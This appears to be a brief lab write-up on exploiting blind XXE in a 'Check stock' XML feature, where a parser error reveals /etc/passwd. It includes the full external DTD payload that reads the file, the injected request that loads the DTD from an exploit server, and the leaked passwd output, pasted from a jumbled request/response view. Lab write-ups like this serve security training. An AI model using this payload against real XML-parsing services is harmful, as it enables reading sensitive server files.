

Exploiting blind XXE to retrieve data via error messages

1. This lab has a "Check stock" feature that parses XML input but does not display the result. To solve the lab, use an external DTD to trigger an error message that displays the contents of the /etc/passwd file.
2. As previous lab, we will make two payloads, one stored on the exploit server and the other will be sent in check stock request.
3. There is a small change in stored payload. This lab will be solved by making the website throw an error. So, we will not make the request send the result to logs page, we will make the request visit doesn't exist path to throw an error and execute my XML code.

This is stored code on the exploit server:

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<!ENTITY % file SYSTEM "file:///etc/passwd">
<!ENTITY % data "<!ENTITY &#x25; exfil SYSTEM 'notfound.com/?data=%file;'>">
%data;
%exfil;
```

And this is the result:

Request	Response
Pretty	Pretty
Raw	Raw
Pretty	Pretty
Raw	Raw
Hex	Hex
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19	6 "XML parser exited with error: java.net.MalformedURLException: no protocol: notfound.com/?data=root:x:0:0:root:/root:/bin/bash
20 <?xml version="1.0" encoding="UTF-8"?>	7 daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
21 <!DOCTYPE foo[8 bin:x:2:2:bin:/bin:/usr/sbin/nologin
22 <!ENTITY % xxe SYSTEM	9 sys:x:3:3:sys:/dev:/usr/sbin/nologin
23 "https://exploit-0a4400b80458eaa7828ad22f015d0027.	10 sync:x:4:65534:sync:/bin:/bin/sync
24 exploit-server.net/exploit">	11 games:x:5:60:games:/usr/games:/usr/sbin/nologin
25 %xxe;	12 man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
24]>	13 lp:x:7:lp:/var/spool/lpd:/usr/sbin/nologin
25 <stockCheck>	14 mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
26 <productId>	15 news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
27 </productId>	16 uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
28 <storeId>	17 proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
29 1	18 www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
30 </storeId>	
31 </stockCheck>	



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